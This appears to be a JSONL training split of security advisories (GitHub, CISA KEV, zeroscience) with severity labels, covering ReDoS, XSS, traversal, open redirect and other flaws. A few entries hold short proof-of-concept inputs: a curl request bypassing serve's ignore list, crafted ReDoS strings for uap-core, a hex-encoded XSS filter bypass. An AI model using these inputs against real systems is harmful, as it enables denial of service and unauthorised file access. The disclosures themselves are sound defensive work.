-{"id": "1440ed432a4b1467fa02", "text": "Navigate endpoint is vulnerable to regex injection that may lead to Denial of Service.\n\n### Impact\nThe regex injection that may lead to Denial of Service.\n\n### Patches\nWill be patched in 2.4 and 3.0\n\n### Workarounds\nVersions lower than 2.x are only affected if the navigation module is added\n\n### References\nSee this pull request for the fix: https://github.com/graphhopper/graphhopper/pull/2304\n\nIf you have any questions or comments about this advisory please [send us an Email](https://www.graphhopper.com/contact-form/) or create a topic [here](https://discuss.graphhopper.com/).", "text_raw": "Navigate endpoint is vulnerable to regex injection that may lead to Denial of Service.\n\n[Severity: MEDIUM]\n\n### Impact\nThe regex injection that may lead to Denial of Service.\n\n### Patches\nWill be patched in 2.4 and 3.0\n\n### Workarounds\nVersions lower than 2.x are only affected if the navigation module is added\n\n### References\nSee this pull request for the fix: https://github.com/graphhopper/graphhopper/pull/2304\n\nIf you have any questions or comments about this advisory please [send us an Email](https://www.graphhopper.com/contact-form/) or create a topic [here](https://discuss.graphhopper.com/).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-19", "split": "train"}
-{"id": "25a400f8a5e36f4842bb", "text": "Malicious Package in buffer-xov\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in buffer-xov\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "4a5648d6cfea2b577d24", "text": "Microsoft Win32k Privilege Escalation Vulnerability\n\nAffected: Microsoft Win32k\n\nMicrosoft Win32k contains a privilege escalation vulnerability when the Win32k component fails to properly handle objects in memory. Successful exploitation allows an attacker to execute code in kernel mode.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Win32k Privilege Escalation Vulnerability\n\nAffected: Microsoft Win32k\n\nMicrosoft Win32k contains a privilege escalation vulnerability when the Win32k component fails to properly handle objects in memory. Successful exploitation allows an attacker to execute code in kernel mode.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "18f6b31be25d6cafa126", "text": "User (Encrypted) Password Field Being Serialised\n\n### Impact\nLeaking Password field during serialisation of the User model. Password is in the encrypted form but if User model is requested in json or array form the value is printed.\n\n### Patches\nIssue has been patched in version 0.3.7-beta and onwards.\n\n### Workarounds\nAdd the 'password' field to the Users model file in the hidden array:\n\n```php\n\n/**\n     * The attributes that should be hidden for arrays.\n     *\n     * @var array\n     */\n    protected $hidden = [\n        'remember_token',\n        'password',\n    ];\n```\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [pwweb/laravel-core](https://github.com/pwweb/laravel-core)\n* Email us at [security@pw-websolutions.com](mailto:security@pw-websolutions.com)", "text_raw": "User (Encrypted) Password Field Being Serialised\n\n[Severity: LOW]\n\n### Impact\nLeaking Password field during serialisation of the User model. Password is in the encrypted form but if User model is requested in json or array form the value is printed.\n\n### Patches\nIssue has been patched in version 0.3.7-beta and onwards.\n\n### Workarounds\nAdd the 'password' field to the Users model file in the hidden array:\n\n```php\n\n    /**\n     * The attributes that should be hidden for arrays.\n     *\n     * @var array\n     */\n    protected $hidden = [\n        'remember_token',\n        'password',\n    ];\n```\n\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [pwweb/laravel-core](https://github.com/pwweb/laravel-core)\n* Email us at [security@pw-websolutions.com](mailto:security@pw-websolutions.com)", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "5595983875b966ba2743", "text": "Directory Traversal in fancy-server\n\nVersions 0.1.4 and earlier of fancy-server are vulnerable to a directory traversal attack.\n\nStandard attack vectors such as `../` will allow an attacker to read files outside of the served directory.\n\n## Recommendation\n\nUpgrade to version 0.1.4 or greater.", "text_raw": "Directory Traversal in fancy-server\n\n[Severity: HIGH]\n\nVersions 0.1.4 and earlier of fancy-server are vulnerable to a directory traversal attack. \n\nStandard attack vectors such as `../` will allow an attacker to read files outside of the served directory.\n\n\n## Recommendation\n\nUpgrade to version 0.1.4 or greater.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-08-31", "split": "train"}
-{"id": "175635bc7a79937e3df1", "text": "Cross-site Scripting in LibreNMS\n\nLibreNMS 21.11.0 is affected by is affected by a Cross Site Scripting (XSS) vulnerability in includes/html/common/alert-log.inc.php.", "text_raw": "Cross-site Scripting in LibreNMS\n\n[Severity: MEDIUM]\n\nLibreNMS 21.11.0 is affected by is affected by a Cross Site Scripting (XSS) vulnerability in includes/html/common/alert-log.inc.php.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-03", "split": "train"}
-{"id": "b0d71bededc25e4eeb3d", "text": "Nokogiri does not forbid namespace nodes in XPointer ranges\n\nxpointer.c in libxml2 before 2.9.5 (as used in nokogiri before 1.7.1 amongst other products) does not forbid namespace nodes in XPointer ranges, which allows remote attackers to execute arbitrary code or cause a denial of service (use-after-free and memory corruption) via a crafted XML document.", "text_raw": "Nokogiri does not forbid namespace nodes in XPointer ranges\n\n[Severity: CRITICAL]\n\nxpointer.c in libxml2 before 2.9.5 (as used in nokogiri before 1.7.1 amongst other products) does not forbid namespace nodes in XPointer ranges, which allows remote attackers to execute arbitrary code or cause a denial of service (use-after-free and memory corruption) via a crafted XML document.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-08-21", "split": "train"}
-{"id": "8fdd34f031c9861b7e55", "text": "sfpagent Command Injection vulnerability\n\n`lib/sfpagent/bsig.rb` in the sfpagent gem before 0.4.15 for Ruby allows remote attackers to execute arbitrary commands via shell metacharacters in the module name in a JSON request.", "text_raw": "sfpagent Command Injection vulnerability\n\n[Severity: HIGH]\n\n`lib/sfpagent/bsig.rb` in the sfpagent gem before 0.4.15 for Ruby allows remote attackers to execute arbitrary commands via shell metacharacters in the module name in a JSON request.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "e3918b800011d35fc053", "text": "Restlet Framework Ja-rs extension is vulnerable to XXE when using SimpleXMLProvider\n\nRestlet Framework before 2.3.11, when using SimpleXMLProvider, allows remote attackers to access arbitrary files via an XXE attack in a REST API HTTP request. This affects use of the Jax-rs extension.", "text_raw": "Restlet Framework Ja-rs extension is vulnerable to XXE when using SimpleXMLProvider\n\n[Severity: HIGH]\n\nRestlet Framework before 2.3.11, when using SimpleXMLProvider, allows remote attackers to access arbitrary files via an XXE attack in a REST API HTTP request. This affects use of the Jax-rs extension.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "301859f2da306263302a", "text": "Improper Resource Shutdown or Release in TYPO3 extension\n\nWrong usage of the TYPO3 FAL API results in copies of processed files being saved to the /var/transient/ folder of a TYPO3 website on every frontend request. This  can result in Denial of Service, since the webspace may be filled up with image files simply by crafting a large amount of requests to the website.", "text_raw": "Improper Resource Shutdown or Release in TYPO3 extension\n\n[Severity: HIGH]\n\nWrong usage of the TYPO3 FAL API results in copies of processed files being saved to the /var/transient/ folder of a TYPO3 website on every frontend request. This  can result in Denial of Service, since the webspace may be filled up with image files simply by crafting a large amount of requests to the website.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
-{"id": "8bd4c9f160e141557460", "text": "Native Instruments Reaktor 5 Player v5.5.1 Insecure Library Loading Vulnerability", "text_raw": "Native Instruments Reaktor 5 Player v5.5.1 Insecure Library Loading Vulnerability\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2010-11-20", "split": "train"}
-{"id": "007c9de1756f393de250", "text": "Improper Privilege Management in devise_masquerade\n\nThe devise_masquerade gem before 1.3 allows certain attacks when a password's salt is unknown. An application that uses this gem to let administrators masquerade/impersonate users loses one layer of security protection compared to a situation where Devise (without this extension) is used. If the server-side `secret_key_base` value became publicly known (for instance if it is committed to a public repository by mistake), there are still other protections in place that prevent an attacker from impersonating any user on the site. When masquerading is not used in a plain Devise application, one must know the password salt of the target user if one wants to encrypt and sign a valid session cookie. When `devise_masquerade` is used, however, an attacker can decide which user the \"back\" action will go back to without knowing that user's password salt and simply knowing the user ID, by manipulating the session cookie and pretending that a user is already masqueraded by an administrator.", "text_raw": "Improper Privilege Management in devise_masquerade\n\n[Severity: HIGH]\n\nThe devise_masquerade gem before 1.3 allows certain attacks when a password's salt is unknown. An application that uses this gem to let administrators masquerade/impersonate users loses one layer of security protection compared to a situation where Devise (without this extension) is used. If the server-side `secret_key_base` value became publicly known (for instance if it is committed to a public repository by mistake), there are still other protections in place that prevent an attacker from impersonating any user on the site. When masquerading is not used in a plain Devise application, one must know the password salt of the target user if one wants to encrypt and sign a valid session cookie. When `devise_masquerade` is used, however, an attacker can decide which user the \"back\" action will go back to without knowing that user's password salt and simply knowing the user ID, by manipulating the session cookie and pretending that a user is already masqueraded by an administrator.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-08", "split": "train"}
-{"id": "f35e0966190b6ea1a232", "text": "Byass due to validation before canonicalization in serve\n\nVersions of `serve` before 6.5.2 are vulnerable to the bypass of the ignore functionality. The bypass is possible because validation happens before canonicalization of paths and filenames.\n\nExample:\nHere we have a server that ignores the file test.txt.\n```\nconst serve = require('serve')\nconst server = serve(__dirname, {\n      port: 1337,\n      ignore: ['test.txt']\n})\n```\n\nUsing the URL encoded form of a letter (%65 instead of e) attacker can bypass the ignore control accessing the file.\n\n`curl http://localhost:1337/t%65st.txt`\n\nAdditionally this technique can be used to get directory listings of ignored directories.\n\n## Recommendation\n\nUpdate to version 6.5.2 or later.", "text_raw": "Byass due to validation before canonicalization in serve\n\n[Severity: HIGH]\n\nVersions of `serve` before 6.5.2 are vulnerable to the bypass of the ignore functionality. The bypass is possible because validation happens before canonicalization of paths and filenames.\n\n\n\nExample:\nHere we have a server that ignores the file test.txt.\n```\nconst serve = require('serve')\nconst server = serve(__dirname, {\n      port: 1337,\n      ignore: ['test.txt']\n})\n```\n\nUsing the URL encoded form of a letter (%65 instead of e) attacker can bypass the ignore control accessing the file. \n\n`curl http://localhost:1337/t%65st.txt`\n\nAdditionally this technique can be used to get directory listings of ignored directories.\n\n\n## Recommendation\n\nUpdate to version 6.5.2 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "5a9f0f9c7c5f43d66977", "text": "Denial of Service in uap-core when processing crafted User-Agent strings\n\n### Impact\n\nSome regexes are vulnerable to regular expression denial of service (REDoS) due to overlapping capture groups. This allows remote attackers to overload a server by setting the User-Agent header in an HTTP(S) request to maliciously crafted long strings.\n\n### Patches\n\nPlease update uap-core to &amp;amp;gt;= v0.7.3\n\nDownstream packages such as uap-python, uap-ruby etc which depend upon uap-core follow different version schemes.\n\n### Details\n\nEach vulnerable regular expression reported here contains 3 overlapping capture groups. Backtracking has approximately cubic time complexity with respect to the length of the user-agent string.\n\n#### Regex 1:\n\n```\n\\bSmartWatch *\\( *([^;]+) *; *([^;]+) *;\n```\n\nis vulnerable in portion ` *([^;]+) *` and can be attacked with\n\n```python\n&amp;amp;quot;SmartWatch(&amp;amp;quot; + (&amp;amp;quot; &amp;amp;quot; * 3500) + &amp;amp;quot;z&amp;amp;quot;\n```\ne.g.\n```\nSmartWatch(                                   z\n```\n\n#### Regex 2:\n\n```\n; *([^;/]+) Build[/ ]Huawei(MT1-U06|[A-Z]+\\d+[^\\);]+)[^\\);]*\\)\n```\n\nis vulnerable in portion `\\d+[^\\);]+[^\\);]*` and can be attacked with\n\n```python\n&amp;amp;quot;;A Build HuaweiA&amp;amp;quot; + (&amp;amp;quot;4&amp;amp;quot; * 3500) + &amp;amp;quot;z&amp;amp;quot;\n```\n\n#### Regex 3:\n\n```\n(HbbTV)/[0-9]+\\.[0-9]+\\.[0-9]+ \\([^;]*; *(LG)E *; *([^;]*) *;[^;]*;[^;]*;\\)\n```\n\nis vulnerable in portion ` *([^;]*) *` and can be attacked with\n\n```python\n&amp;amp;quot;HbbTV/0.0.0 (;LGE;&amp;amp;quot; + (&amp;amp;quot; &amp;amp;quot; * 3500) + &amp;amp;quot;z&amp;amp;quot;\n```\n\n#### Regex 4:\n\n```\n(HbbTV)/[0-9]+\\.[0-9]+\\.[0-9]+ \\([^;]*; *(?:CUS:([^;]*)|([^;]+)) *; *([^;]*) *;.*;\n```\n\nis vulnerable in portions ` *(?:CUS:([^;]*)|([^;]+)) *` and ` *([^;]*) *` and can be attacked with\n\n```python\n&amp;amp;quot;HbbTV/0.0.0 (;CUS:;&amp;amp;quot; + (&amp;amp;quot; &amp;amp;quot; * 3500) + &amp;amp;quot;z&amp;amp;quot;\n&amp;amp;quot;HbbTV/0.0.0 (;&amp;amp;quot; + (&amp;amp;quot; &amp;amp;quot; * 3500) + &amp;amp;quot;z&amp;amp;quot;\n&amp;amp;quot;HbbTV/0.0.0 (;z;&amp;amp;quot; + (&amp;amp;quot; &amp;amp;quot; * 3500) + &amp;amp;quot;z&amp;amp;quot;\n```\n\nReported by Ben Caller @bcaller", "text_raw": "Denial of Service in uap-core when processing crafted User-Agent strings\n\n[Severity: MEDIUM]\n\n### Impact\n\nSome regexes are vulnerable to regular expression denial of service (REDoS) due to overlapping capture groups. This allows remote attackers to overload a server by setting the User-Agent header in an HTTP(S) request to maliciously crafted long strings.\n\n### Patches\n\nPlease update uap-core to &amp;amp;gt;= v0.7.3\n\nDownstream packages such as uap-python, uap-ruby etc which depend upon uap-core follow different version schemes.\n\n### Details\n\nEach vulnerable regular expression reported here contains 3 overlapping capture groups. Backtracking has approximately cubic time complexity with respect to the length of the user-agent string.\n\n#### Regex 1:\n\n```\n\\bSmartWatch *\\( *([^;]+) *; *([^;]+) *;\n```\n\nis vulnerable in portion ` *([^;]+) *` and can be attacked with\n\n```python\n&amp;amp;quot;SmartWatch(&amp;amp;quot; + (&amp;amp;quot; &amp;amp;quot; * 3500) + &amp;amp;quot;z&amp;amp;quot;\n```\ne.g.\n```\nSmartWatch(                                   z\n```\n\n\n#### Regex 2:\n\n```\n; *([^;/]+) Build[/ ]Huawei(MT1-U06|[A-Z]+\\d+[^\\);]+)[^\\);]*\\)\n```\n\nis vulnerable in portion `\\d+[^\\);]+[^\\);]*` and can be attacked with\n\n```python\n&amp;amp;quot;;A Build HuaweiA&amp;amp;quot; + (&amp;amp;quot;4&amp;amp;quot; * 3500) + &amp;amp;quot;z&amp;amp;quot;\n```\n\n\n#### Regex 3:\n\n```\n(HbbTV)/[0-9]+\\.[0-9]+\\.[0-9]+ \\([^;]*; *(LG)E *; *([^;]*) *;[^;]*;[^;]*;\\)\n```\n\nis vulnerable in portion ` *([^;]*) *` and can be attacked with\n\n```python\n&amp;amp;quot;HbbTV/0.0.0 (;LGE;&amp;amp;quot; + (&amp;amp;quot; &amp;amp;quot; * 3500) + &amp;amp;quot;z&amp;amp;quot;\n```\n\n#### Regex 4:\n\n```\n(HbbTV)/[0-9]+\\.[0-9]+\\.[0-9]+ \\([^;]*; *(?:CUS:([^;]*)|([^;]+)) *; *([^;]*) *;.*;\n```\n\nis vulnerable in portions ` *(?:CUS:([^;]*)|([^;]+)) *` and ` *([^;]*) *` and can be attacked with\n\n```python\n&amp;amp;quot;HbbTV/0.0.0 (;CUS:;&amp;amp;quot; + (&amp;amp;quot; &amp;amp;quot; * 3500) + &amp;amp;quot;z&amp;amp;quot;\n&amp;amp;quot;HbbTV/0.0.0 (;&amp;amp;quot; + (&amp;amp;quot; &amp;amp;quot; * 3500) + &amp;amp;quot;z&amp;amp;quot;\n&amp;amp;quot;HbbTV/0.0.0 (;z;&amp;amp;quot; + (&amp;amp;quot; &amp;amp;quot; * 3500) + &amp;amp;quot;z&amp;amp;quot;\n```\n\nReported by Ben Caller @bcaller", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-02-20", "split": "train"}
-{"id": "8e1d138d0a23a6c128b2", "text": "iBrowser Plugin v1.4.1 (lang) Local File Inclusion Vulnerability", "text_raw": "iBrowser Plugin v1.4.1 (lang) Local File Inclusion Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-09-16", "split": "train"}
-{"id": "b67f45d14e5c46535bb7", "text": "Local File read vulnerability in OctoberCMS\n\n### Impact\nAn attacker can exploit this vulnerability to read local files of an October CMS server. The vulnerability is only exploitable by an authenticated backend user with the `cms.manage_assets` permission.\n\n### Patches\nIssue has been patched in Build 466 (v1.0.466).\n\n### Workarounds\nApply https://github.com/octobercms/october/commit/2b8939cc8b5b6fe81e093fe2c9f883ada4e3c8cc to your installation manually if unable to upgrade to Build 466.\n\n### References\nReported by [Sivanesh Ashok](https://stazot.com/)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)\n\n### Threat assessment:\n<img width=\"1108\" alt=\"Screen Shot 2020-03-31 at 2 37 53 PM\" src=\"https://user-images.githubusercontent.com/7253840/78072989-44b3ac80-735d-11ea-8676-09c69f0409c4.png\">", "text_raw": "Local File read vulnerability in OctoberCMS\n\n[Severity: MEDIUM]\n\n### Impact\nAn attacker can exploit this vulnerability to read local files of an October CMS server. The vulnerability is only exploitable by an authenticated backend user with the `cms.manage_assets` permission.\n\n### Patches\nIssue has been patched in Build 466 (v1.0.466).\n\n### Workarounds\nApply https://github.com/octobercms/october/commit/2b8939cc8b5b6fe81e093fe2c9f883ada4e3c8cc to your installation manually if unable to upgrade to Build 466.\n\n### References\nReported by [Sivanesh Ashok](https://stazot.com/)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)\n\n### Threat assessment:\n<img width=\"1108\" alt=\"Screen Shot 2020-03-31 at 2 37 53 PM\" src=\"https://user-images.githubusercontent.com/7253840/78072989-44b3ac80-735d-11ea-8676-09c69f0409c4.png\">", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-06-03", "split": "train"}
-{"id": "a4298525a0afc9505751", "text": "Improper Verification of Cryptographic Signature\n\n### Impact\nThe `verifyWithMessage` method of `tEnvoyNaClSigningKey` always returns `true` for any signature of a SHA-512 hash matching the SHA-512 hash of the message even if the signature is invalid.\n\n### Patches\nUpgrade to `v7.0.3` immediately to resolve this issue. Since the vulnerability lies within the verification method, the previous signatures are still valid. We highly recommend reverifying any signatures that were previously verified with the vulnerable `verifyWithMessage` method.\n\n### Workarounds\nIn `tenvoy.js` under the `verifyWithMessage` method definition within the `tEnvoyNaClSigningKey` class, ensure that the return statement call to `this.verify` ends in `.verified`. For example, the return statement should start with `return this.verify(signed, password).verified && ` instead of `return this.verify(signed, password) && `.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [github.com/TogaTech/tEnvoy](https://github.com/TogaTech/tEnvoy)", "text_raw": "Improper Verification of Cryptographic Signature\n\n[Severity: CRITICAL]\n\n### Impact\nThe `verifyWithMessage` method of `tEnvoyNaClSigningKey` always returns `true` for any signature of a SHA-512 hash matching the SHA-512 hash of the message even if the signature is invalid.\n\n### Patches\nUpgrade to `v7.0.3` immediately to resolve this issue. Since the vulnerability lies within the verification method, the previous signatures are still valid. We highly recommend reverifying any signatures that were previously verified with the vulnerable `verifyWithMessage` method.\n\n### Workarounds\nIn `tenvoy.js` under the `verifyWithMessage` method definition within the `tEnvoyNaClSigningKey` class, ensure that the return statement call to `this.verify` ends in `.verified`. For example, the return statement should start with `return this.verify(signed, password).verified && ` instead of `return this.verify(signed, password) && `.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [github.com/TogaTech/tEnvoy](https://github.com/TogaTech/tEnvoy)", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-28", "split": "train"}
-{"id": "e9918898aeae7663055c", "text": "Clearance Gem Open Redirect Vulnerability\n\nThis affects the package clearance before 2.5.0. The vulnerability can be possible when users are able to set the value of `session[:return_to]`. If the value used for return_to contains multiple leading slashes (`/////example.com`) the user ends up being redirected to the external domain that comes after the slashes (`http://example.com`).", "text_raw": "Clearance Gem Open Redirect Vulnerability\n\n[Severity: HIGH]\n\nThis affects the package clearance before 2.5.0. The vulnerability can be possible when users are able to set the value of `session[:return_to]`. If the value used for return_to contains multiple leading slashes (`/////example.com`) the user ends up being redirected to the external domain that comes after the slashes (`http://example.com`).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-13", "split": "train"}
-{"id": "3c507d9b1cc748b58c43", "text": "SOCA Access Control System 180612 SQL Injection And Authentication Bypass", "text_raw": "SOCA Access Control System 180612 SQL Injection And Authentication Bypass\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2019-05-13", "split": "train"}
-{"id": "c9511a420139fa9d7ed1", "text": "Possible Information Leak / Session Hijack Vulnerability in Rack\n\nThere's a possible information leak / session hijack vulnerability in Rack. Attackers may be able to find and hijack sessions by using timing attacks targeting the session id. Session ids are usually stored and indexed in a database that uses some kind of scheme for speeding up lookups of that session id. By carefully measuring the amount of time it takes to look up a session, an attacker may be able to find a valid session id and hijack the session.\n\nThe session id itself may be generated randomly, but the way the session is indexed by the backing store does not use a secure comparison.\n\n### Impact\n\nThe session id stored in a cookie is the same id that is used when querying the backing session storage engine.  Most storage mechanisms (for example a database) use some sort of indexing in order to speed up the lookup of that id.  By carefully timing requests and session lookup failures, an attacker may be able to perform a timing attack to determine an existing session id and hijack that session.\n\n## Releases\n\nThe 1.6.12 and 2.0.8 releases are available at the normal locations.\n\n### Workarounds\n\nThere are no known workarounds.\n\n### Patches\n\nTo aid users who aren't able to upgrade immediately we have provided patches for\nthe two supported release series. They are in git-am format and consist of a\nsingle changeset.\n\n* 1-6-session-timing-attack.patch - Patch for 1.6 series\n* 2-0-session-timing-attack.patch - Patch for 2.6 series\n\n### Credits\n\nThanks Will Leinweber for reporting this!", "text_raw": "Possible Information Leak / Session Hijack Vulnerability in Rack\n\n[Severity: MEDIUM]\n\nThere's a possible information leak / session hijack vulnerability in Rack. Attackers may be able to find and hijack sessions by using timing attacks targeting the session id. Session ids are usually stored and indexed in a database that uses some kind of scheme for speeding up lookups of that session id. By carefully measuring the amount of time it takes to look up a session, an attacker may be able to find a valid session id and hijack the session.\n\nThe session id itself may be generated randomly, but the way the session is indexed by the backing store does not use a secure comparison.\n\n### Impact\n\nThe session id stored in a cookie is the same id that is used when querying the backing session storage engine.  Most storage mechanisms (for example a database) use some sort of indexing in order to speed up the lookup of that id.  By carefully timing requests and session lookup failures, an attacker may be able to perform a timing attack to determine an existing session id and hijack that session.\n\n## Releases\n\nThe 1.6.12 and 2.0.8 releases are available at the normal locations.\n\n### Workarounds\n\nThere are no known workarounds.\n\n### Patches\n\nTo aid users who aren't able to upgrade immediately we have provided patches for\nthe two supported release series. They are in git-am format and consist of a\nsingle changeset.\n\n* 1-6-session-timing-attack.patch - Patch for 1.6 series\n* 2-0-session-timing-attack.patch - Patch for 2.6 series\n\n### Credits\n\nThanks Will Leinweber for reporting this!", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-12-18", "split": "train"}
-{"id": "6d24d0731e160457a486", "text": "XSS Filter Bypass via Encoded URL in validator\n\nVersions of `validator` prior to 2.0.0 contained an xss filter method that is affected by several filter bypasses. This may result in a cross-site scripting vulnerability.\n\n## Proof of Concept\nThe xss() function removes the word \"javascript\" when contained inside an attribute.\n\nHowever, it does not properly handle cases where characters have been hex-encoded.\n\nAs a result, it is possible to build an input that bypasses the filter but which the browser will accept as valid JavaScript.\n\nFor example:\n```<a href=\"jav&#x61;script:...\">abc</a>```\nwill render as:\n```<a href=\"javascript:...\">abc</a>```\n\n## Recommendation\n\nThe package author has decided to remove the xss filter functionality in the latest version of this module. If this feature is not currently being used, you are not affected by the vulnerability. If it is being used, updating to the latest version of the module will break your application.\n\nIn order for affected users to mitigate this vulnerability, it is necessary to use an [alternative package](https://www.npmjs.com/search?q=xss%20filter&page=1&ranking=optimal) that provides similar functionality.", "text_raw": "XSS Filter Bypass via Encoded URL in validator\n\n[Severity: MEDIUM]\n\nVersions of `validator` prior to 2.0.0 contained an xss filter method that is affected by several filter bypasses. This may result in a cross-site scripting vulnerability.\n\n\n## Proof of Concept\nThe xss() function removes the word \"javascript\" when contained inside an attribute.\n\nHowever, it does not properly handle cases where characters have been hex-encoded. \n\nAs a result, it is possible to build an input that bypasses the filter but which the browser will accept as valid JavaScript.\n\nFor example:\n```<a href=\"jav&#x61;script:...\">abc</a>```\nwill render as:\n```<a href=\"javascript:...\">abc</a>```\n\n\n## Recommendation\n\nThe package author has decided to remove the xss filter functionality in the latest version of this module. If this feature is not currently being used, you are not affected by the vulnerability. If it is being used, updating to the latest version of the module will break your application.\n\nIn order for affected users to mitigate this vulnerability, it is necessary to use an [alternative package](https://www.npmjs.com/search?q=xss%20filter&page=1&ranking=optimal) that provides similar functionality.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-11-06", "split": "train"}
-{"id": "afab6ceaa99e1bbf7f50", "text": "Regular Expression Denial of Service in ssri\n\nVersion of `ssri` prior to 5.2.2 are vulnerable to regular expression denial of service (ReDoS) when using strict mode.\n\n## Recommendation\n\nUpdate to version 5.2.2 or later.", "text_raw": "Regular Expression Denial of Service in ssri\n\n[Severity: MEDIUM]\n\nVersion of `ssri` prior to 5.2.2 are vulnerable to regular expression denial of service (ReDoS) when using strict mode.\n\n\n## Recommendation\n\nUpdate to version 5.2.2 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-03-07", "split": "train"}
-{"id": "6294dbfbfdfc5730ff9e", "text": "Cross-site Scripting in comrak\n\nAn issue was discovered in the comrak crate before 0.10.1 for Rust. It mishandles & characters, leading to XSS via &# HTML entities.", "text_raw": "Cross-site Scripting in comrak\n\n[Severity: MEDIUM]\n\nAn issue was discovered in the comrak crate before 0.10.1 for Rust. It mishandles & characters, leading to XSS via &# HTML entities.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "46f007ebe5cec0731f41", "text": "Denial of Service in miekg-dns\n\nA denial of service flaw was found in miekg-dns before 1.0.4. A remote attacker could use carefully timed TCP packets to block the DNS server from accepting new connections.", "text_raw": "Denial of Service in miekg-dns\n\n[Severity: HIGH]\n\nA denial of service flaw was found in miekg-dns before 1.0.4. A remote attacker could use carefully timed TCP packets to block the DNS server from accepting new connections.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-29", "split": "train"}
-{"id": "60f6066bb386c74d3d0f", "text": "Wowza Streaming Engine 4.5.0 Local Privilege Escalation", "text_raw": "Wowza Streaming Engine 4.5.0 Local Privilege Escalation\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-07-19", "split": "train"}
-{"id": "537962d565033c8c41d1", "text": "S3Scanner allows Directory Traversal\n\nS3Scanner before 2.0.2 allows Directory Traversal via a crafted bucket, as demonstrated by a `<Key>../` substring in a `ListBucketResult` element.", "text_raw": "S3Scanner allows Directory Traversal\n\n[Severity: MEDIUM]\n\nS3Scanner before 2.0.2 allows Directory Traversal via a crafted bucket, as demonstrated by a `<Key>../` substring in a `ListBucketResult` element.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-30", "split": "train"}
-{"id": "7613f05e28ba96214a6a", "text": "semver-regex Regular Expression Denial of Service (ReDOS)\n\nnpm `semver-regex` is vulnerable to Inefficient Regular Expression Complexity", "text_raw": "semver-regex Regular Expression Denial of Service (ReDOS)\n\n[Severity: HIGH]\n\nnpm `semver-regex` is vulnerable to Inefficient Regular Expression Complexity", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-20", "split": "train"}
-{"id": "a6c2f635816260fce264", "text": "Insufficient Granularity of Access Control in github.com/google/exposure-notifications-verification-server\n\n### Impact\nUsers or API keys with permission to expire verification codes could have expired codes that belonged to another realm if they guessed the UUID.\n\n### Patches\nv1.1.2+\n\n### Workarounds\nThere are no workarounds, and there are no indications this has been exploited in the wild. Verification codes can only be expired by providing their 64-bit UUID, and verification codes are already valid for a very short period of time (thus the UUID rotates frequently).\n\n### For more information\nContact exposure-notifications-feedback@google.com", "text_raw": "Insufficient Granularity of Access Control in github.com/google/exposure-notifications-verification-server\n\n[Severity: MEDIUM]\n\n### Impact\nUsers or API keys with permission to expire verification codes could have expired codes that belonged to another realm if they guessed the UUID.\n\n### Patches\nv1.1.2+\n\n### Workarounds\nThere are no workarounds, and there are no indications this has been exploited in the wild. Verification codes can only be expired by providing their 64-bit UUID, and verification codes are already valid for a very short period of time (thus the UUID rotates frequently).\n\n### For more information\nContact exposure-notifications-feedback@google.com", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
